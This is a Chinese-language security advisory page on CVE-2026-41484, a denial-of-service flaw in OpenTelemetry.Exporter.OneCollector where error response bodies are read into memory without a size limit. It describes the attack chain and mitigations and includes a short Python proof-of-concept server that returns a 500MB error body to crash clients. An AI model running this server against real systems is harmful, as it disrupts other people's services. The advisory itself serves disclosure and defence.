IPBUF安全漏洞报告
English
CVE-2026-41484 CVSS 5.3 中危

CVE-2026-41484 OpenTelemetry内存耗尽漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-41484
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenTelemetry.Exporter.OneCollector

相关标签

拒绝服务内存耗尽OpenTelemetry.NETDoSCVE-2026-41484

漏洞概述

OpenTelemetry.Exporter.OneCollector是一款.NET遥测导出器。在1.15.0及更早版本中,当向后端发送请求收到HTTP错误响应时,`HttpJsonPostTransport`类会将整个响应体读入内存且未设置大小上限。攻击者若控制后端或实施中间人攻击,可返回任意大的响应体。这将导致目标进程无限制堆分配,引发高内存压力、GC停顿甚至进程崩溃,造成拒绝服务。

技术细节

该漏洞的核心在于资源管理不当,具体表现为对错误响应体读取缺乏边界检查。在OpenTelemetry.Exporter.OneCollector组件中,`HttpJsonPostTransport`类负责通过HTTP发送遥测数据。当目标端点返回4xx或5xx状态码时,系统为了记录错误详情,会尝试读取HTTP响应体。然而,代码逻辑中未对读取的字节数进行任何限制。攻击者通过控制配置的端点或利用中间人攻击拦截流量,可以响应一个包含巨大数据负载的HTTP错误包。应用程序在处理该响应时,会尝试将全部数据加载至堆内存中,导致内存消耗激增。这种无限制的内存分配不仅会占用大量系统资源,还会触发频繁且耗时的垃圾回收(GC),最终导致应用程序抛出OutOfMemoryException而终止服务,破坏系统可用性。

攻击链分析

STEP 1
侦察
攻击者识别目标正在使用易受攻击版本的OpenTelemetry.Exporter.OneCollector(<= 1.15.0)。
STEP 2
拦截或控制
攻击者通过中间人攻击拦截流量,或者直接控制了应用程序配置的OneCollector后端端点。
STEP 3
发送恶意响应
当应用程序尝试发送遥测数据时,攻击者返回一个HTTP 4xx或5xx错误状态码,并在响应体中包含一个超大(例如数GB)的恶意负载。
STEP 4
资源耗尽
受害应用程序尝试将整个响应体无限制地读入内存,导致堆内存耗尽、垃圾回收停顿,最终因OutOfMemoryException崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import http.server import socketserver # Configuration for the malicious server PORT = 8080 PAYLOAD_SIZE = 1024 * 1024 * 500 # 500MB payload to trigger OOM class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): # Send a 500 Internal Server Error to trigger the vulnerable code path self.send_response(500) self.send_header('Content-Type', 'application/json') self.end_headers() # Generate a large response body to exhaust memory # Comment: Sending a large payload to exploit unbounded read large_payload = 'A' * PAYLOAD_SIZE self.wfile.write(large_payload.encode('utf-8')) print(f"Sent {PAYLOAD_SIZE/(1024*1024)} MB payload to client.") with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd: print(f"Malicious server running at port {PORT}") httpd.serve_forever()

影响范围

OpenTelemetry.Exporter.OneCollector <= 1.15.0

防御指南

临时缓解措施
在未升级版本的情况下,建议通过防火墙规则、双向TLS(mTLS)或服务网格等网络层控制手段,防止对配置的后端或收集器端点进行中间人攻击,确保仅与可信端点通信。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表